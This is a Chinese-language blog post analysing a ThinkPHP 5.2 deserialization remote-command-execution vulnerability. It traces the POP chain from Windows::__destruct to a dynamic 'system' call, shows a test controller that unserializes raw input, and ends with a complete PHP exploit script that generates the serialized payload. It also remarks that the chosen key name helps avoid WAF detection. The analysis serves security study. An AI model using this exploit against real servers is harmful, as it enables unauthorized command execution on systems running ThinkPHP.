ThinkPHP 5.2 反序列化漏洞分析

🐘 ThinkPHP 5.2 反序列化漏洞深度分析

漏洞类型 :反序列化命令执行 影响版本 :ThinkPHP 5.2.x 危险等级 :🔴 高危 分析时间:2026-03-27


📌 目录

  1. 漏洞验证

  2. [POP 链分析](#POP 链分析)

  3. 关键问题详解

  4. [完整 EXP](#完整 EXP)

  5. 防御建议


🎯 漏洞验证

测试代码

/app/controller/index.php

复制代码
<?php
namespace app\controller;
​
class Index
{
    public function index($input='')
    { 
        echo $input;
        unserialize($input);  // ← 漏洞点
    }
}

执行结果

✅ 成功执行 whoami 命令


🔗 POP 链分析

整体链路图

复制代码
┌────────────────────────────────────────────────────────────────┐
│                    POP Chain Overview                          │
├────────────────────────────────────────────────────────────────┤
│  Windows::__destruct()                                         │
│       │                                                        │
│       ▼                                                        │
│  file_exists() → 触发 __toString()                             │
│       │                                                        │
│       ▼                                                        │
│  Conversion::toJson()                                          │
│       │                                                        │
│       ▼                                                        │
│  Conversion::toArray()                                         │
│       │                                                        │
│       ▼                                                        │
│  Attribute::getAttr()                                          │
│       │                                                        │
│       ▼                                                        │
│  Attribute::getValue()                                         │
│       │                                                        │
│       ▼                                                        │
│  $closure($value) → 命令执行!                                  │
└────────────────────────────────────────────────────────────────┘

第一步:反序列化入口 Windows::__destruct()

关键代码:

复制代码
class Windows {
    private $files = [];
    
    public function __destruct()
    {
        $this->removeFiles();  // ← 析构时自动调用
    }
    
    private function removeFiles()
    {
        foreach ($this->files as $file) {
            if (is_file($file)) {
                @unlink($file);
            }
        }
    }
}

💡 我的思考:

为什么选 Windows 类作为入口?

  • __destruct() 在对象销毁时自动调用,无需额外触发条件

  • file_exists() 处理对象时会触发 __toString() 魔术方法

  • 这是反序列化漏洞的经典入口点


第二步:跟进 removeFiles() 方法

关键机制:

复制代码
// file_exists() 处理对象时
// PHP 会自动调用对象的 __toString() 方法
// 将其转换为字符串

💡 我的思考:

这是 PHP 的隐式类型转换特性。很多反序列化漏洞都利用了这个机制:

  • file_exists($obj)__toString()

  • echo $obj__toString()

  • $obj . "string"__toString()


第三步:触发 __toString() 后跟进 toJson()

复制代码
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

第四步:跟进 Conversion::toJson()


第五步:跟进 Conversion::toArray()

关键代码:

复制代码
public function toArray()
{
    $item = [];
    $data = array_merge($this->data, $this->relation);  // ← 数据源
    
    foreach ($data as $key => $value) {
        $attr = $this->getAttr($key);  // ← 调用 getAttr
        $item[$key] = $attr;
    }
    
    return $item;
}

💡 我的思考:

这里有两个可控点:

  1. $this->data - 存储要执行的命令

  2. $this->relation - 配合遍历使用

array_merge 后,遍历每个 key 调用 getAttr(),这就把控制权交给了下一步


第六步:跟进 Attribute::getAttr()

复制代码
protected function getAttr($name)
{
    $relation = $this->relation;
    $value = $this->getData($name);  // ← 从 data 数组取值
    return $this->getValue($name, $value);  // ← 调用 getValue
}

第七步:跟进 getValue()getData()


关键代码:

复制代码
// getData() - 从 data 数组取值
public function getData($name = null)
{
    $fieldName = $this->getRealFieldName($name);
    return $this->data[$fileName];  // ← 返回 data 数组中的值
}

// getValue() - 核心漏洞点
protected function getValue($name, $value)
{
    if (isset($this->withAttr[$name])) {
        $closure = $this->withAttr[$name];  // ← 可控!
        $value = $closure($value);          // ← 动态函数调用!
    }
    return $value;
}

💡 我的思考:

这是整个漏洞的最关键点

问题本质$closure 来自用户可控的 $this->withAttr 数组,没有做任何过滤就直接执行。

PHP 特性'system'($cmd) 等价于 system($cmd) 这种动态函数调用在 PHP 中是合法的,但在这里极其危险。


第八步:$value 参数溯源


$value值由传入的$name决定且带入getData方法,getRealFieldName方法返回值又为$name值,接着带入$this->data[$fileName]


第九步:getData() 方法详解

这里看到:

  • getRealFieldName($name) 这个方法只要有值,就直接返回

  • getData() 方法在 Attribute 文件中

  • 我们要定义 $this->data = array('abc'=>'system') 这样,保证 $name 有值时返回对应的 $this->data 参数


第十步:$name 参数来源

$name 来自 toArray() 方法中的 $key,而 $key 来自:

复制代码
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $value) { ... }

第十一步:Trait 机制让类互相访问

通过 use 关键字,让 Model 类可以使用多个 Trait 的属性和方法。


第十二步:$closure 参数构造

我们可以这样构建:

复制代码
$this->withAttr = array("paper" => 'system'); 
// => $closure = 'system';

❓ 关键问题详解

问题 1:$closure 到底从哪来?

答案:从 $this->withAttr 数组来

复制代码
// getValue() 中的关键代码
if (isset($this->withAttr[$name])) {
    $closure = $this->withAttr[$name];  // ← 这里
    $value = $closure($value);
}

攻击者构造:

复制代码
$this->withAttr = ['paper' => 'system'];
// 当 $name = 'paper' 时
// $closure = 'system'
// 执行:'system'('curl http://...')

问题 2:为什么 $data = 'paper' =\> 'curl [http://127.0.0.1:8897](http://127.0.0.1:8897 "http://127.0.0.1:8897")'

答案:这是攻击者故意传入构造函数的参数

参数传递链:

复制代码
┌─────────────────────────────────────────────────────────────┐
│ new Pivot(['paper' => 'curl ...'])                          │
│         │                                                   │
│         ▼                                                   │
│ Pivot::__construct($closure)                                │
│     $closure = ['paper' => 'curl ...']                      │
│         │                                                   │
│         ▼                                                   │
│ parent::__construct($closure)                               │
│         │                                                   │
│         ▼                                                   │
│ Model::__construct($closure)                                │
│     $this->data = $closure  ← 赋值                         │
│         │                                                   │
│         ▼                                                   │
│ 最终:$data = ['paper' => 'curl http://127.0.0.1:8897']    │
└─────────────────────────────────────────────────────────────┘

💡 我的思考:

为什么键名必须是 'paper'

其实可以是任意名字! 只要满足:

  • $data 的键名 = $withAttr 的键名

这样 getValue() 中才能匹配成功。


问题 3:序列化对象包含什么?

答案:只包含属性值,不包含代码

复制代码
$pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);

序列化后的对象结构:

复制代码
think\model\Pivot 对象
├── $relation = []                    (来自 RelationShip Trait)
├── $visible = []                     (来自 Conversion Trait)
├── $withAttr = ['paper' => 'system'] (来自 Attribute Trait)
└── $data = ['paper' => 'curl ...']   (来自 Attribute Trait)

⚠️ 重要提醒:

✅ 包含 ❌ 不包含
所有属性值(数据) 类定义代码
继承自父类的属性 Trait 的实现
私有/保护/公有属性 方法实现

💡 我的思考:

这就像游戏存档:

  • 存档文件只保存:等级、装备、位置(数据

  • 不保存:游戏引擎代码、角色类定义(代码

读档时 :游戏程序必须已安装,才能读取存档数据 反序列化时 :服务器必须有 ThinkPHP 框架,否则报错 Class not found


问题 4:为什么键名必须是 'paper'?

答案:可以是任意名字,只要匹配就行!

复制代码
// 方案 1:用 'paper'
$data = ['paper' => 'curl http://127.0.0.1:8897']
$withAttr = ['paper' => 'system']

// 方案 2:用 'cmd'
$data = ['cmd' => 'curl http://127.0.0.1:8897']
$withAttr = ['cmd' => 'system']

// 方案 3:用 'x'
$data = ['x' => 'whoami']
$withAttr = ['x' => 'system']

选择 'paper' 的可能原因:

  1. 随便起的名字,没有特殊含义

  2. 避免敏感词(cmd, exec, system)被 WAF 拦截

  3. 参考文章作者的个人习惯


📊 完整变量对应关系图

复制代码
┌─────────────────────────────────────────────────────────────────┐
│                    攻击者构造的 Payload                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  $data = ['paper' => 'curl http://127.0.0.1:8897']             │
│           │                        │                           │
│           │                        └──→ $value (要执行的命令)   │
│           │                                                    │
│           └──→ $key (用于查找处理器)                            │
│                                                                 │
│  $withAttr = ['paper' => 'system']                             │
│             │                        │                         │
│             │                        └──→ $closure (函数名)    │
│             │                                                  │
│             └──→ 必须和 $data 的键名一致!                       │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    getValue() 方法执行                           │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  if (isset($this->withAttr[$name])) {                          │
│      $closure = $this->withAttr[$name];  // 'system'           │
│      $value = $closure($value);          // system('curl..')   │
│  }                                                             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                      命令执行成功 ✅                             │
│              system('curl http://127.0.0.1:8897')              │
└─────────────────────────────────────────────────────────────────┘

📝 完整 EXP(带详细注释)

复制代码
<?php
/**
 * 🐘 ThinkPHP 5.2 反序列化漏洞利用脚本
 * 
 * POP 链:Windows::__destruct → __toString → toJson → toArray 
 *        → getAttr → getValue → 命令执行
 */

namespace think\process\pipes {
    class Windows {
        private $files = [];
        function __construct($files) {
            $this->files = $files;
        }
    }
}

namespace think\model\concern {
    trait Conversion {
        protected $visible;
    }
    trait RelationShip {
        private $relation;
    }
    trait Attribute {
        private $withAttr;
        private $data;
    }
}

namespace think {
    abstract class Model {
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute; 

        function __construct($closure) {
            $this->data = $closure;
            $this->relation = [];
            $this->visible = [];
            $this->withAttr = array("paper" => 'system');
        }
    }
}

namespace think\model {
    class Pivot extends \think\Model {
        function __construct($closure) {
            parent::__construct($closure);
        }
    }
}

namespace {
    $pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);
    $windows = new think\process\pipes\Windows([$pivot]);
    echo urlencode(serialize($windows));
}

🔄 执行流程总结

复制代码
1. 服务器收到 Payload → unserialize($payload)
2. Windows 对象创建成功
3. 脚本结束 → Windows::__destruct() 自动调用
4. 遍历 $files 数组 → file_exists($pivot 对象)
5. file_exists 处理对象 → 触发 Pivot::__toString()
6. __toString → toJson() → toArray()
7. toArray 遍历 $this->data → getAttr('paper')
8. getAttr → getValue('paper', 'curl http://...')
9. getValue 中:$closure = $this->withAttr['paper'] = 'system'
10. 执行:'system'('curl http://127.0.0.1:8897')
11. 命令执行成功!✅

🔑 关键属性记忆表

属性 作用 来源
$files [Pivot 对象] 触发 __destruct Windows
$data['paper'] 'curl http://...' 要执行的命令 Attribute Trait
$withAttr['paper'] 'system' 要调用的函数 Attribute Trait
$relation [] 配合遍历 RelationShip Trait
$visible [] 配合遍历 Conversion Trait

🔐 安全研究,仅供学习,请勿用于非法用途

分析完成时间:2026-03-27 01:00

</div>

相关推荐
见青..9 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道11 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你14 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp0000014 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你16 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000002 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全